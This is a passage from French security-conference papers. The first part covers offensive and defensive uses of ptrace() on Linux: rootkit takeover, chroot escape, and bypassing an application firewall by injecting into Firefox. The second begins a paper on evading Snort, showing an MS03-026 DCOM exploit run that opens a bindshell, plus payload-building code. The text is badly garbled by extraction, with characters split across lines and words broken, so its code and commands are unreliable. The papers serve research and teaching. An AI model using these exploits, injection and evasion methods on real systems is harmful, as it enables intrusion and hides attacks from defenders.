.) alors que vous étiez sur un point de montage que vous aimeriez bien démonter.

Si votre appli
ation n'utilise au
un �
hier de 
e point de montage, il peut-être intéressant de

modi�er son répertoire 
ourant en inje
tant un appel à 
hdir(). Ces deux petits exemples pré-

sentaient les 
as simples de simple inje
tion de 
ode. Intéressant nous maintenant à l'utilisation de

binaires 
onsidérés hostiles.

Fakebust fakebust est un logi
iel développé par Mi
hal Zalewski a�n de pouvoir lan
er des binaires

in
onnus (hostiles) sans avoir à utiliser une ma
hine virtuelle ou à avoir à e�e
tuer une longue

analyse statique.

fakebust est basé uniquement sur ptra
e() en suivant un pro
essus à l'aide de PTRACE_SYSCALL.

Cela signi�e que le pro
essus tra
é est uniquement interrompu à l'entrée et à la sortie d'un appel

système, ainsi qu'à la ré
eption d'un signal.

À l'entrée d'un des sys
alls 
onsidérés 
omme dangereux (par exemple open, so
ket, unlink,

et
), fakebust va autoriser les appels systèmes au 
as par 
as en interrogeant l'utilisateur s'il doit

exé
uter l'appel système, le refuser ou le simuler.

Cet outil est pratique lors de l'analyse dynamique de binaire (tel qu'un soi-disant 0day sur

OpenSSH) si vous n'avez pas à faire de reverse engineering, dans 
e 
as, vous allez devoir trouvez

d'autres outils. Lorsque des prote
tions anti-debugging sont mises en ÷uvre, le � simple � GNU

Debugger peut se révéler inadapté.

Par exemple, la pose de point d'arrêt logi
iel (le fait de générer une interruption de 
ode 3

par l'op
ode 0xCC) va modi�er l'intégrité d'un pro
essus et les possibles prote
tions le déte
teront.

Cette problématique a été soulevé lors du reversing de Skype par Fabri
e Des
laux et Philippe

Biondi[1℄. En e�et, des 
entaines de 
ontr�les (aux alentours de trois 
ents) d'intégrité sont réalisés

en permanen
e a�n de transformer la vie du reverser en un véritable 
au
hemar.

Reverser Skype Leur premier problème était de 
ontourner les 
ontr�les d'intégrité qui inter-

viennent partout, la pose de point d'arrêt logi
iel entraîne la modi�
ation de l'espa
e d'adressage

et est don
 déte
té par 
es 
he
ksummers qui, en réponse, transforment les stru
tures de 
ode en

un pur aléa.

L'obje
tif était, si possible, de ne pas modi�er/supprimer du 
ode ; A�n d'arriver à 
e résultat,

une fois la lo
alisation des 
he
ksums faite, il ne restait qu'à pla
er des points d'arrêts matériel (alors

indéte
table par Skype) à l'entrée et à la sortie des fon
tions. Or, sur x86, on ne dispose que de

quatre points d'arrêt matériel, quantité insu�sante pour surveiller les 
entaines de 
he
ksummers.

Une solution est don
 d'utiliser des points d'arrêt logi
iel (qui sont illimités), mais qui ont

l'in
onvénient d'être déte
tés par les véri�
ateurs d'intégrité. On voudrait ainsi utiliser les avantages

de 
haque méthode, 
'est ainsi que Philippe Biondi a eu l'idée de lan
er deux pro
essus de Skype

en parallèle, l'un tru�é de software breakpoints sur 
haque 
he
ksummer et l'autre de point d'arrêt

matériel.

Lorsque le premier pro
essus est interrompu à l'entrée d'une fon
tion, un point d'arrêt matériel

est pla
é à au même endroit dans le 
ode du pro
essus jumeau, ainsi qu'à la �n de la fon
tion, puis

on démarre l'exé
ution du pro
essus jumeau. Lorsque 
e dernier a 
al
ulé une somme d'intégrité


orre
te, on ré
upère 
e résultat à l'aide de notre deuxième point d'arrêt matériel et on le transmet

au premier pro
essus qui passera alors ave
 su

ès le test d'intégrité.

ptra
e() a permit de tout faire très simplement :
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� Pose de points d'arrêt logi
iel (PTRACE_POKETEXT ave
 l'op
ode CC inje
té),

� Exé
ution du pro
essus (PTRACE_CONT),

� À l'arrivée dans une fon
tion de 
ontr�le d'intégrité, on pose un breakpoint matériel (PTRACE_\-SETREGS)

au même endroit dans l'autre pro
essus et on le laisse s'exé
uter (PTRACE_CONT),

� Dès que le résultat est 
al
ulé, on le ré
upère (PTRACE_PEEKDATA) et l'inje
tons dans le premier

pro
essus (PTRACE_POKEDATA) ;

Skype a été é
rit ave
 la volonté manifeste de ne pas permettre un reverse engineering fa
ile.

Fabri
e Des
laux s'est ainsi 
assé les dents sur une fon
tion d'une taille monstrueuse et obs
ur
ie

au maximum, 
elle-
i a pour r�le de 
hi�rer les paquets sortants et entrants (un dérivé de RC4). Si

vous souhaitez développer un téléphone 
ompatible ave
 Skype, vous êtes alors obligé d'implémenter

exa
tement 
ette fon
tion.

La te
hnique de l'Ora
le 
onsiste à jeter dans un puits une question et de re
evoir la réponse

en retour. C'est exa
tement 
e qui a été fait dans Skypy (un 
lient Skype un petit peu parti
ulier)

ave
 le binaire Skype 
omme ora
le.

À l'aide de ptra
e, on s'atta
he à une instan
e de Skype et en modi�ant eip, on ne s'en sert

que pour lui donner notre paquet à 
hi�rer/dé
hi�rer et le résultat ressort immédiatement.

Cette te
hnique aurait même pu être utilisée pour 
al
uler les sommes d'intégrité pré
édentes.

Virtualisation de système UserModeLinux est une implémentation du noyau Linux tournant

en espa
e utilisateur. On arrive ainsi à une virtualisation de système d'exploitation en 
onservant

des performan
es 
orre
tes.

Toute l'implémentation repose sur l'utilisation de ptra
e(), en e�et, l'obje
tif initial était de

faire tourner le maximum d'instru
tions nativement et passer par une 
ou
he d'abstra
tion lorsque

des instru
tions privilégiées sont exé
utées telles que les appels systèmes.

Au démarrage, la ma
hine virtuelle 
réée un thread qui va servir à tra
er tous les pro
essus

de la ma
hine virtuelle. Après atta
hement, les pro
essus sont 
ontinués ave
 PTRACE_SYSCALL qui

va permettre de stopper les pro
essus de la même façon que fakebust, l'exé
ution réelle de l'appel

système va être réaliser en transférant le 
ontexte du pro
essus vers 
elui du noyau virtuel qui

exé
utera lui même le sys
all

2

.

Réa
tion à un in
ident Grâ
e à ptra
e(), nous devenons omnis
ient, nous sommes en mesure

d'inspe
ter 
haque pro
essus dans ses moindres détails. Ce fait est parti
ulièrement intéressant

lorsque vous arrivez sur une ma
hine 
ompromise ave
 des programmes user-spa
e qui tournent.

Si l'hypothèse de départ est que le noyau n'a pas été modi�é ou qu'il ne s'intéresse pas à

ptra
e(), nous allons ainsi pouvoir inspe
ter les pro
essus suspe
ts 
omme les ba
kdoors, redire
-

teur de ports, 
lients IRC, et
.

Bien que les pirates utilisent désormais des moyens de 
ommuni
ation sé
urisés (
hi�rement

SSL, OpenSSH ), il est toujours possible de voir 
e qui transit en surveillant les appels systèmes

read(), write(), send(), re
v(), et
.

Nous pouvons également détourner et retourner des rootkits noyaux 
omme le populaire Su
kit.

Pour 
e dernier, l'a

ès au seul pirate est limité par un mot de passe qui autorise ou non l'utilisation

du module noyau.

2

C'est l'an
ien moyen de réaliser 
ette opération, voir la do
umentation d'UML pour plus d'information
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Comme 
ela a été montré par Frédéri
 Raynal à Euse
West [3℄, le binaire de 
ontr�le est 
hi�ré

en RC4 ave
 une graine de 64 o
tets pla
ée en �n de �
hier ave
 la 
on�guration (
ontenant le mot

de passe hashé).

À l'exé
ution, le binaire est 
omplètement dé
hi�ré en mémoire puis tente d'authenti�er l'utili-

sateur ave
 la demande d'un mot de passe. Celui-
i est hashé et 
omparé à 
elui sto
ké en mémoire.

Si vous faîtes l'autopsie à 
haud d'une ma
hine piratée par su
kit, vous aimeriez prendre le


ontr�le du rootkit a�n d'a

éder à tous les �
hiers et pro
essus 
a
hés par exemple.

La première étape va don
 être de ré
upérer le binaire dé
hi�ré, l'exé
uter, puis trouver le hash

du mot de passe. Ensuite, modi�er le binaire a�n de lui mettre le hash du mot de passe pour que

la 
omparaison soit vraie et que vous soyez identi�é.

2.2 Outil de sé
urité

Prote
tion anti-reverse engineering Sous GNU/Linux, les prote
tions anti-reversing se sont

longtemps limitées à modi�er les se
tions ELF et empê
her l'utilisation d'un debugger ou plus

généralement de ptra
e().

La te
hnique la plus populaire et fa
ile à mettre en ÷uvre est d'utiliser une limitation interne

du noyau : un pro
essus ne peut-être tra
é que par un unique debugger.

Ainsi, les appli
ations tentent, soit aléatoirement, soit à l'initialisation du programme, de s'at-

ta
her à elle-même (PTRACE_TRACEME). En 
as d'é
he
, errno 
ontiendra EPERM, une hypothèse très

probable à 
e 
ode de retour est que le pro
essus est déjà tra
é, dé
len
hant alors un 
ata
lysme

pour ennuyer l'analyste.

La réponse à 
et auto-traçage a 
onduit les reverse engineers à modi�er le 
ode du binaire a�n

de rempla
er les appel à ptra
e() par des NOP. Mais 
ela implique d'avoir également à déjouer les

véri�
ations d'intégrité si né
essaire.

L'émulation permet de ne pas modi�er le binaire : elle exé
ute réellement ptra
e() (qui va


ertes é
houé), mais avant de rendre la main au pro
essus, le registre représentant la valeur de

retour (eax sur x86) va être modi�é ave
 un 
ode de retour valide.

Comme toutes les prote
tions, le jeu du 
hat et de la souris a alors 
ommen
é entre les reversers

et les programmeurs ave
 la 
réation de �ls se traçant mutuellement. A�n d'éviter l'émulation des

appels systèmes, un dialogue est réalisé en permanen
e entre les pro
essus pour s'assurer qu'ils sont

en
ore vivant.

Évasion d'environnement 
hrooté Une bonne pratique des administrateurs est de 
hrooter


haque servi
e, 
'est à dire que pour un pro
essus donné, sa ra
ine du système de �
hier va être

dépla
é dans un répertoire beau
oup plus restreint. Sur un noyau Linux non protégé, l'évasion d'un

environnement 
hrooté est triviale puisque l'a

ès au reste du noyau n'est pas limitée. Plusieurs

ve
teurs permettent ainsi de s'é
happer ou nuire au système : mémoire partagée, signaux, double


hrootage, et
.

À l'intérieur d'un pro
essus 
hrooté, la vision des pro
essus extérieurs n'a pas été impa
tée : il

est toujours possible de leur envoyer un signal. . . et don
 d'utiliser ptra
e() !

Les 
onséquen
es sont alors désastreuses si le servi
e prisonnier tourne sous les privilèges root

puisqu'il va être possible de tra
er tous les pro
essus du système.

Néanmoins, un environnement limité ne dispose pas (du moins 
'est à espérer) de /pro
, ré-


upérer le PID d'un pro
essus va alors né
essiter d'essayer tout l'espa
e de PID (1 à 65 535). Bien
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que le pro
essus init existe toujours ave
 le PID 1, on ne peut pas l'utiliser puisque 
'est le seul

pro
essus qui ne peut pas être tra
é (limitation faite par le noyau).

Un arti
le publié dans Phra
k [4℄ présente des exemples de shell
ode permettant de s'évader

d'un 
hrootage.

Pat
hage à la volée La mise à jour du 
ode d'un pro
essus en exé
ution est un sujet appliqué

prin
ipalement au noyau puisqu'au
un redémarrage n'est demandé, 
ette 
ontrainte est beau
oup

moins forte pour le 
ode en espa
e utilisateur que l'on préfère, ave
 raison, pat
her au niveau du

binaire et relan
er le servi
e derrière.

Néanmoins, un attaquant re
her
he à 
auser le moins d'e�et de bord possible et la relan
e d'un

servi
e peut-être rapidement déte
té. Si le noyau est protégé, par des se
ure levels, ou si la mémoire

du noyau (/dev/kmem) est ina

essible en é
riture, il peut être intéressant de pousser notre rootkit

à l'intérieur d'autres pro
essus stratégiques 
omme sshd, bind, X, syslogd, et
.

Ce pat
hage peut être réalisé pour installer des ba
kdoors mais également a�n de servir à rendre

aveugle 
ertains logi
iels 
omme les Host IDS.

Propagation de 
odes mali
ieux L'inje
tion de 
ode dans les environnements Mi
rosoft Win-

dows est un sujet 
onnu et beau
oup de re
her
hes (des deux 
ouleurs du 
hapeau) ont ainsi été

faites.

De nombreuses te
hniques pour 
ontourner les logi
iels de sé
urité lo
aux ont vu le jour : les

anti-virus se sont tous vu attaqués a�n d'être désa
tivés par l'infe
tion en 
ours, idem pour les host

intrusion dete
tion system.

De même, les limites des �rewalls personnels ont été prouvées puisque les 
onnexions sont

autorisées par appli
ation. L'inje
tion d'un shell
ode dans 
ette appli
ation autorisée ouvre alors

les portes du réseau.

Ave
 l'arrivée sous Linux de �rewalls similaires (ou même de l'option --
md-owner de Net�lter)

à 
eux qu'on peut trouver sous Windows, les mêmes problèmes ressurgissent 
omme nous le montre

la pro
haine et dernière se
tion.

2.3 Cas pratique : 
ontournement d'un �rewall appli
atif

Implémentation générale Dans 
ette démonstration, il a été utilisé le système NuFW basé sur

Linux/Net�lter qui est un �rewall réseau utilisant une authenti�
ation des paquets par utilisateur,

par GID, par appli
ation, par système d'exploitation, et
.

Nous avons 
on�guré NuFW ave
 la 
on�guration suivante :

# iptables -P FORWARD DROP

# iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT

# iptables -A FORWARD -i eth0 -o eth1 -p t
p --dport 80 -j QUEUE

# 
at /et
/nufw/a
ls.nufw

[webapp℄

de
ision=1

gid=1000

proto=6

Sr
IP=0.0.0.0/0

Sr
Port=1024-65536
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DstIP=0.0.0.0/0

DstPort=80

app=/usr/bin/firefox

OS=Linux

I
i, seul Mozilla Firefox a le droit de sortir en TCP sur le port 80. C'est 
ette appli
ation qui

servira de tremplin à notre pro
essus ayant besoin de se 
onne
ter à un serveur sur le port 80.

Étant donné que Firefox tourne sous notre identité et que NuFW ne prend pas en 
ompte les

possibilités o�ertes par ptra
e(), il est possible de s'atta
her au navigateur et 
réer nos propres


onnexions à partir de lui.

Une solution est de 
on
evoir toutes nos appli
ations (mali
ieuses) a�n d'utiliser 
e mé
a-

nisme : faire toutes les opérations tout en restant atta
hé à �refox ave
 ptra
e(). Cela fon
tionne,

mais reste peu pratique.

La meilleure solution serait de ne pas avoir à modi�er nos binaires, tout en béné�
iant de

ptra
e(). Comment ?

Linux, ainsi que beau
oup d'UNIX, sont 
apables de transmettre des des
ripteurs de �
hier

entre di�érents pro
essus totalement indépendant. Cette fon
tionnalité est parfaite dans notre 
as,

on laisse à notre inje
teur le soin de faire un 
onne
t() depuis �refox, puis une fois le des
ripteur

obtenu, on le passe à notre appli
ation.

Pour que 
ela soit transparent, nous pouvons utiliser le mé
anisme de � sur
harge � o�ert par

les bibliothèques dynamiques sous Linux. La fon
tion 
onne
t() va être sur
hargé pour s'atta
her

au navigateur, y inje
ter le 
ode de 
onnexion puis transmettre le des
ripteur de �
hier. Le binaire

original n'aura subit alors au
une modi�
ation (en 
ontrepartie, il y aura juste la 
réation inutile

d'une so
ket) et obtiendra un des
ripteur parfaitement valide.

Transfert de des
ripteur de �
hier entre deux pro
essus indépendants Au
une do
umen-

tation n'existe pour dé
rire la possibilité de tranférer deux des
ripteurs de �
hier, seules quelques

lignes dans la page de manuel de 
msg donnent un rapide exemple.

En résumé, il faut 
réer une so
ket UNIX entre les deux pro
essus et envoyer des messages via

sendmsg() et re
vmsg(). En pratique, 
ela demande beau
oup plus de doigté puisqu'il va falloir

débusquer les parti
ularités (bugs ?) du noyau Linux sur 
ette fon
tionnalité très bien 
a
hée. Les

annexes 3 et 3 
ontiennent respe
tivement le 
ode C réalisant l'envoi et la ré
eption de des
ripteur

de �
hier.

Code à inje
ter Notre shell
ode réalisant tout le travail de 
réation de so
ket est assez volumineux

puisque sans optimisation, il est long de 360 o
tets. Il est d'ailleurs à prendre garde de véri�er que

la taille de votre 
ode soit un multiple d'un mot ma
hine (32 bits sur x86) puisque ptra
e() a une

granularité très limitée : il ne peut lire et é
rire atomiquement qu'un mot à la fois. Pensez don
 à

ajouter des NOP pour 
ombler.

Le 
ode sour
e assembleur (assemblable par nasm) sera disponible sur le site du SSTIC pro-


hainement. Son 
ode est assez lourd puisque tout le travail 
onsiste à remplir des stru
tures C

imbriquées.
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3 Con
lusion

Nous avons vu que les possibilités de ptra
e() ne se limitaient pas seulement au simple de-

bugging mais qu'il avait un 
hamp d'appli
ation beau
oup plus large : évasion d'environnements


hrootés, 
ontournement d'HIPS ou �rewall, aide au reverse engineering, et
.

Toutes les te
hniques 
onnues sous Mi
rosoft Windows sont reprodu
tibles partiellement sous

Linux, 
omme la ré
upération des mots de passe en mémoire par exemple. ptra
e() sou�re néan-

moins de beau
oup de limitations, un sou�e nouveau pourrait voir le jour ave
 l'introdu
tion d'une

nouvelle interfa
e, 
ette fois tournant en kernel-spa
e et essayant de se rappro
her aux fon
tionna-

lités de DTra
e sous Solaris : Systemtrap.
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Routine d'entrée dans un appel système

sys
all_tra
e_entry:

movl $-ENOSYS,EAX(%esp)

movl %esp, %eax

xorl %edx,%edx


all do_sys
all_tra
e


mpl $0, %eax

jne resume_userspa
e

movl ORIG_EAX(%esp), %eax


mpl $(nr_sys
alls), %eax

jnae sys
all_
all

jmp sys
all_exit

Adresses mémoire pour a

éder aux registres

Ces dé
alages 
orrespondent à la valeur de addr dans la requête ptra
e() suivante :

ptra
e(PTRACE_POKEUSR, pid, addr, data);
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Dé
alage Registre mémoire

0x0 %ebx

0x4 %e
x

0x8 %edx

0xC %esi

0x10 %edi

0x14 %ebp

0x18 %eax

0x1C %dans

0x20 %es

0x24 orig_eax

0x28 %eip

0x2C %
s

0x30 %eflags

0x34 %oldesp

0x38 %oldss

Tab. 1. Adresses mémoire des registres

Envoi de des
ripteur de �
hier

void send_fd(int so
kfd, int fd)

{

stru
t 
msghdr *
h;

stru
t msghdr msg;

stru
t iove
 iov;


har an
illary[CMSG_SPACE(sizeof(fd))℄;


har tmp = '\0';

memset(&msg, 0, sizeof(msg));

iov.iov_base = &tmp;

iov.iov_len = 1;

msg.msg_iov = &iov;

msg.msg_iovlen = 1;

msg.msg_
ontrol = &an
illary;

msg.msg_
ontrollen = sizeof(an
illary);


h = CMSG_FIRSTHDR(&msg);

if (! 
h) {

printf("
msg_firsthdr failed");

}


h->
msg_level = SOL_SOCKET;


h->
msg_len = CMSG_LEN(sizeof(fd));


h->
msg_type = SCM_RIGHTS;

*(int *) CMSG_DATA(
h) = fd;

if ( sendmsg(so
kfd, &msg, 0) < 0) {
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perror("sendmsg()");

}

}

Ré
eption d'un des
ripteur de �
hier

int re
eive_fd(int so
kfd)

{

stru
t 
msghdr *
h;

stru
t msghdr msg;

stru
t iove
 iov;


har an
illary[CMSG_SPACE(sizeof(int))℄;


har tmp;

int fd = -1;

memset(&msg, 0, sizeof(msg));

iov.iov_base = &tmp;

iov.iov_len = 1;

msg.msg_iov = &iov;

msg.msg_iovlen = 1;

msg.msg_
ontrol = &an
illary;

msg.msg_
ontrollen = CMSG_LEN(sizeof(an
illary));

fd = re
vmsg(so
kfd, &msg, 0);

if (fd > 0) {

/* re
vmsg() su

edeed */


h = CMSG_FIRSTHDR(&msg);

if (!
h && 
h->
msg_type != SCM_RIGHTS) {

fprintf(stderr, "
msg_type is not good... (was %d)\n"

, 
h->
msg_type);

} else {

mem
py(&fd, CMSG_DATA(
h), sizeof(fd));

}

} else {

perror("re
vmsg()");

}

return fd;

}
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Contourner les I(D|P)S sans rien y 
onnaître

Une brève immersion dans Snort, DCE-RPC et les idées reçues

Renaud Bidou

1

RADWARE

renaudb�radware.
om

Résumé Les équipements de déte
tion et de prévention des intrusions sont pléthore. Ils

prétendent garantir un niveau de sé
urité inégalé pour le système d'information. Et 
'est

exa
t, dans une 
ertaine mesure. . . En e�et, les fon
tionnalités mises en ÷uvre (quand elles

le sont de manière appropriée), a

roissent notablement le niveau de sé
urité global.

Néanmoins il est toujours né
essaire de garder à l'esprit la phrase de Bru
e S
hneier : � Se-


urity is a pro
ess, not a produ
t �. Dans 
e sens il apparaît fort imprudent de laisser sa

sé
urité uniquement sous la responsabilité de produits, aussi performants soient-ils. A�n de


on
rétiser 
ette assertion nous allons montrer, étape par étape, la fa
ilité ave
 laquelle il est

possible de 
ontourner 
es systèmes, 
e ave
 un minimum de 
onnaissan
es spé
i�ques.

1 Introdu
tion

Contourner un mé
anisme de déte
tion et/ou de prévention des intrusions n'est pas une opéra-

tion parti
ulièrement 
omplexe.

Nous allons montrer 
omment 
on
rètement, étape par étape, il est possible de 
onstruire � from

s
rat
h � à partir du programme o
192-d
om.
 [1℄ , une attaque qui exploite la vulnérabilité MS03-

026 [2℄ sans être déte
tée par Snort.

La fa
ilité de 
ette démonstration a deux obje
tifs :

� rappeler qu'au
un outil de sé
urité n'est parfait ;

� prouver qu'en 
ontourner un n'est pas for
ément très 
omplexe.

A�n d'arriver de manière pédagogique à 
e résultat, nous passerons par les étapes suivantes :

1. Étude de l'attaque telle quelle, des mé
anismes de déte
tion mis en ÷uvre par Snort et de la

manière dont est 
onstruit l'exploit ;

2. Présentation des prin
ipales 
ara
téristiques de DCE-RPC (les détails sont fournis en annexe)

;

3. Évo
ation de te
hniques d'évasion qui nous viennent à l'esprit ;

4. Des
ription de rp
-evade-po
.pl, stru
ture et méthodes d'implémentation des te
hniques d'éva-

sion ;

5. Résultats obtenus ave
 Snort ;

6. Autres signatures et te
hniques de déte
tion de la même attaque, mis en ÷uvre sur des produits


ommer
iaux et 
ontournés par notre outil.

La dernière étape est des plus importantes dans la mesure où elle permet d'une part d'élargir le

spe
tre de nos travaux (snort n'est pas le seul système de déte
tion / prévention d'intrusion), et

d'autre part de prouver qu'il est possible d'éviter plusieurs systèmes, implémentant des te
hniques

de déte
tion et mis en série.
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2 Première étape

2.1 Baseline

Véri�ons tout d'abord la vulnérabilité du système 
ible à l'exploit � out-of-the box �.

[root�lo
alhost d
om℄# ./o
192-d
om -d 10.0.0.105

RPC DCOM remote exploit - .:[o
192.us℄:. Se
urity

[+℄ Resolving host..

[+℄ Done.

-- Target: [Win2k-Universal℄:10.0.0.105:135, Bindshell:666,

RET=[0x0018759f℄

[+℄ Conne
ted to bindshell..

-- bling bling --

Mi
rosoft Windows 2000 [Version 5.00.2195℄

(C) Copyright 1985-2000 Mi
rosoft Corp.

C:\WINNT\system32>

L'attaque est déte
tée par Snort 2.4.

12/12-16:50:46.597623 [**℄ [1:2351:11℄ NETBIOS DCERPC

ISystemA
tivator path overflow attempt little endian

uni
ode [**℄ [Classifi
ation: Attempted Administrator

Privilege Gain℄ [Priority: 1℄ {TCP} 192.168.202.112:2329

-> 10.0.0.105:135

12/12-16:50:47.017642 [**℄ [1:648:7℄ SHELLCODE x86 NOOP [**℄

[Classifi
ation: Exe
utable 
ode was dete
ted℄ [Priority: 1℄ {TCP}

192.168.202.112:1180 -> 10.0.0.105:135

2.2 Analyse préliminaire

La tra
e réseau fournie par Ethereal nous donne deux éléments 
lefs. D'une part, sur la première

ligne du graphe nous obtenons l'UUID et le nom de l'interfa
e RPC, à savoir ISystemA
tivator

(UUID = 000001a0-0000-0000-
000-000000000046, version = 0.0), et d'autre part, à la dernière

ligne, la fon
tion vulnérable : RemoteCreateInstan
e (opnum 0x04). Le reste demeure a
tuellement

relativement abs
ons et noyé dans les stub data. La deuxième problématique est la manière dont

est é
rit l'exploit. En e�et 
e dernier ne re
onstruit pas expli
itement les en-têtes RPC mais se


ontente d'inje
ter dire
tement les données hexadé
imales dans le paquet. Dans la mesure où nous
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allons devoir jouer ave
 
es en-têtes, a�n de 
onstruire des ve
teurs d'attaque un peu plus évolués,

il va s'avérer né
essaire d'extraire les parties 
orrespondantes du payload.

En troisième position vient la 
onstru
tion de 
e payload. Cette dernière semble relativement


omplexe dans la mesure où l'exploit se veut portable sur di�érents OS.

*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)

+sizeof(s
)-0x
;

*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)

+sizeof(s
)-0x
;

*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)

+sizeof(s
)-0x
;

*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)

+sizeof(s
)-0x
;

*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)

+sizeof(s
)-0x
;

*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)

+sizeof(s
)-0x
;

*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)

+sizeof(s
)-0x
;

*(unsigned long *)(buf2+0x18
)=*(unsigned long

*)(buf2+0x18
)+sizeof(s
)-0x
;

En�n, mais potentiellement de moindre importan
e, le port ouvert sur la 
ible pour la 
onnexion

au shell est 
odé quelque part dans le payload.


har lport[4℄ = "\x00\xFF\xFF\x8b"; /* drg */

lportl=htons(lportl);

mem
py(&lport[1℄, &lportl, 2);

*(long*)lport = *(long*)lport \^{} 0x9432BF80;

mem
py(&s
[471℄,&lport,4);

La modi�
ation de 
ette valeur s'avère parfois né
essaire dans la mesure où le port en question est

potentiellement identi�able 
omme un port suspe
t (666 
omme d'habitude) ou tout simplement
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par
eque son a

ès est restreint par un équipement de �ltrage. Les o
tets 
orrespondants à 
e numéro

de port devront par 
onséquent être trouvés dans le payload et la méthode de 
odage reproduite.

3 DCE-RPC in a nutshell

Il est question i
i de 
ontourner des �ltres de déte
tion, non de devenir des experts en RPC. . .

Dans 
ette optique, nous résumons rapidement les di�érents éléments importants. À titre d'e�et

se
ondaire il est intéressant de souligner que plus les informations données seront approximatives

(voire erronées), plus la démonstration sera brillante. Si quelqu'un qui n'a rien 
ompris au proto
ole

arrive à 
ontourner les meilleurs mé
anismes de déte
tion, qu'en est-il des véritables experts ! i

3.1 Obje
tif de DCE-RPC

DCE-RPC est un proto
ole dé�ni dans l'unique obje
tif de fournir une norme de 
ommuni
ation

entre un pro
essus et une fon
tion � distante �. La notion de distan
e est relative et a uniquement

pour obje
tif de faire la distin
tion entre une fon
tion intégrée au pro
essus et une fon
tion � hé-

bergée � par une entité tier
e. Dans 
e s
héma DCE-RPC va fournir les éléments né
essaires à

l'identi�
ation d`une fon
tion, la transmission des arguments, des résultats et des éventuels 
ode

d'erreur.

3.2 Interfa
es, liens et 
ontextes

Pour e�e
tuer une opération sur une pro
édure distante, il est né
essaire, tout d'abord d'être à

même d'établir une 
ommuni
ation ave
 l'h�te qui l'héberge, et par 
onséquent de dé�nir un pro-

to
ole de 
ommuni
ation, une adresse adaptée au proto
ole en question et un séle
teur permettant

d'a

éder au servi
e. A titre d'exemple, si le proto
ole de transport est UDP ou TCP, l'adresse sera

l'adresse IP et le séle
teur le port. Adresse et séle
teur sont dé�nis 
omme l'adresse de transport

d'un servi
e RPC. Les autres 
ara
téristiques obligatoires d'un servi
e RPC sont le numéro de

programme et sa version. Adresse de transport, numéro de programme et version d'un servi
e sont


ouramment appelés interfa
e d'un servi
e RPC.

La 
onnexion ave
 une pro
édure distante, via son interfa
e, est dé�nie 
omme un lien (� bin-

ding �). À l'issue de l'établissement du lien un 
ontexte est dé�ni. Grossièrement un 
ontexte

permet d'identi�er une 
onnexion, nous verrons que 
ela peut avoir un impa
t non négligeable sur

les 
apa
ités de déte
tion.

3.3 Exé
ution d'une 
ommande

Lorsqu'une 
ommande doit être exé
utée via un appel RPC, il ne reste plus qu'à transmettre

le numéro de la fon
tion (opnum) et les arguments dont le nombre et le format sont bien entendu

variables, 
ette dernière partie est appelée � stub data �.

La portabilité de RPC impose également que soit transmis les informations 
on
ernant le mode

de représentation des données. Cette information est également transmise dans la requête, dans un


hamp normalisé appelé � data representation �.



112

3.4 Fragmentation

DCE-RPC fournit un mé
anisme de fragmentation et de réassemblage de niveau appli
atif (dé�ni

par RPC lui-même). Ce mé
anisme est tout a fait rustique dans la mesure où il ne met en ÷uvre

que deux �ags : � last frag � et � �rst frag �. L'absen
e de �ag signi�ant que le paquet en 
ours de

transmission est quelque part au milieu.

Cette méthode de fragmentation peut être utilisée sur plusieurs paquets et/ou au sein du même

paquet, dans lequel nous allons retrouver plusieurs 
hamps de données RPC (en-têtes + data). Dans

le premier 
as RPC se base sur le réassemblage et les informations de la 
ou
he transport, dans le

se
ond sur l'ordre dans lequel les données sont pla
ées dans le paquet.

3.5 Liens multiples et altération de 
ontextes

A�n de gagner en performan
es il est possible de demander l'établissement de plusieurs liens

vers des instan
es di�érentes à partir d'une unique requête. Une unique réponse fournira le résultat

de 
haque requête.

Dans le même ordre d'idée, il est possible d'e�e
tuer une � altération � de 
ontexte. Cela

signi�e simplement que le proto
ole autorise l'interruption d'une 
ommuni
ation sur un lien par

une 
ommuni
ation sur un autre, puis la reprise du premier. Il est important de noter qu'une

altération de 
ontexte peut intervenir entre deux fragments (au niveau appli
atifs) d'une requête.

4 Te
hniques d'évasion théoriques

A première vue DCE-RPC permet la mise en ÷uvre des trois grandes familles d'évasion : frag-

mentation, insertion et 
onfusion. Ce proto
ole apparaît don
 
omme un véritable 
as d'é
ole.

4.1 Te
hniques de 
ou
hes 3 et 4

Fragmentation réseau Ces te
hniques n'ont absolument rien de spé
i�que à RPC. Il ne s'agit

que de fragmenter les paquets ou les datagrammes (
ou
hes 3 ou 4) et de laisser faire le sta
k.

Notons simplement au passage qu'une requête 
onstituée d'un unique en-tête et des données

peut être fragmentée sur plusieurs paquets. Ainsi il est possible d'avoir l'en-tête et le début des

données dans un paquet, la suite et la �n des données dans le suivant, voire de fragmenter l'en-tête

RPC sur plusieurs paquets. Dans tous les 
as RPC e�e
tuera de lui-même le réassemblage.

Cette dernière remarque nous in
itera naturellement à tester la fragmentation à outran
e (ave


des paquets 
ontenant très peu de données) et ave
 un délai important entre 
haque paquet.

Dans tous les 
as la te
hnique permet d'évaluer la 
apa
ité de réassemblage du mé
anisme de

déte
tion et sa 
ompréhension des mé
anismes basiques du proto
ole.

Insertions En 
e qui 
on
erne les te
hniques d'insertion de niveau réseau, RPC n'induit logique-

ment au
une spé
i�
ité. Par 
onséquent toutes les te
hniques � 
lassique � telles que les TTL trop

petits, les 
heksums invalides ou en
ore l'exploitation des di�érents timeouts et
. restent valables.
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4.2 RPC inside

Fragmentation � simple � La fragmentation de niveau appli
atif s'e�e
tue en divisant les don-

nées et en les transmettant dans di�érents fragments RPC (en-tête + données). Cette méthode

peut être appliquée soit en émettant 
haque fragment RPC dans un paquet distin
t (lui-même

potentiellement fragmenté au niveau réseau), soit en émettant plusieurs fragments dans un même

paquet.

La déte
tion d'une attaque fragmentée de 
ette manière demande une analyse 
omplète des en-

têtes et la bonne gestion des fon
tionnalités spé
i�ques du proto
ole, 
e qui est déjà relativement

rare. . .

Capa
ités d'insertion Plusieurs possibilités d'insertion nous sont o�ertes via 
e mé
anisme de

fragmentation. En
ore une fois il est possible de s'appuyer sur des te
hniques d'insertion de niveau

réseau, mais 
ette fois pour faire analyser au système de déte
tion un paquet 
ontenant des données

supplémentaires, et ainsi � 
asser � la séquen
e d'une signature.

Une autre te
hnique 
